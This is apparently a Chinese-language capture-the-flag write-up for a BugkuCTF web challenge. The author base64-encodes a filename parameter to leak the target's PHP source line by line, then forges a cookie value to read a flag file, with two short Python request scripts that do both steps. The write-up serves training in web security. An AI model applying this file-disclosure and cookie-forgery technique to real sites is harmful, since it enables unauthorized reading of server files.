BugkuCTF:cookies欺骗(web)

  • 题目描述:

      点开链接,给了一串字符,这里只是一部分:

      rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaiheg

  • Burp抓包,发现没什么效果:

             BugkuCTF:cookies欺骗(web)_第1张图片 

  • 思路

但,包里面的 GET /web11/index.php?line=&filename=a2V5cy50eHQ= HTTP/1.1  中的  a2V5cy50eHQ=  引起我的注意,base64解码一下,之后发现是 key.txt ,试了试在浏览器端直接访问http://123.206.87.240:8002/web11/key.txt,但是它与一开始的题目描述里的内容并无区别,然后,思路有点断了,之后看看别的博客,才注意到这个逻辑,php解析的时候 line 表示的是行号,filename是对于文件内容的读取,所以,直接构造一个逻辑矛盾,让filename去读自己即读index.php,既然key.txt是被编码过的,那么这里的index.php也要base64编码一下,之后报错,取line=1,相应的URL是:

http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw

报错结果,直接性的源码泄露:              

                   

 

  • 写个脚本自动读个几十行:
    import requests
    url1 = "http://123.206.87.240:8002/web11/index.php?line="
    url2 = "&filename=aW5kZXgucGhw"
    mysession = requests.session()
    for i in range(0, 40):
        r = mysession.get(url1+str(i)+url2)
        print(r.text)

     

  • 读取结果:
    'keys.txt',
    '1' =>'index.php',
    );
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//接下来的指示,cookie中的margin参数要设置,且要等于'margin'
    $file_list[2]='keys.php';    //在数组中加入keys.php,这应该存着flag
    }
    if(in_array($file, $file_list)){//看我们传入的filename的值是否在上面的数组中
    $fa = file($file);    //是则以文件的方式打开
    echo $fa[$line];      //按line行号,输出
    }
    ?>

大概意思是:要把cookie中设置margin参数为'margin'且要修改filename是keys.php的base64编码的内容,即可获取flag

  • 使用Burpsuite,抓到包后发送到Repeater:

BugkuCTF:cookies欺骗(web)_第2张图片                   

  • 或者可以写个脚本:
import requests
url = "http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA="  # filename替换为keys.php的base64加密后的内容
mysession = requests.session()
cookies = {'margin': 'margin'}
r = mysession.post(url, cookies=cookies)
print(r.text)

 

知识点:

  • int intval ( mixed $var [, int $base = 10 ] )
    用于获取变量的整数值,$var:要转换成 integer 的数量值,$base:转化所使用的进制
    intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
  • php array分为两类:关联性(类似python字典),数值型(正常)
  • in_array(search,array,type)
    要搜索的数据,要搜索的数组,数据的类型(可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。)
    search参数在php4之后就可以是数组类型了
  • file(path,include_path,context)    把整个文件读入一个数组中
    path规定要读取的文件
    include_path可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"
    context规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略
  • 与_COOKIE['xxx']对应的是  setcookie(name, value, expire, path, domain);
     

你可能感兴趣的:(web安全)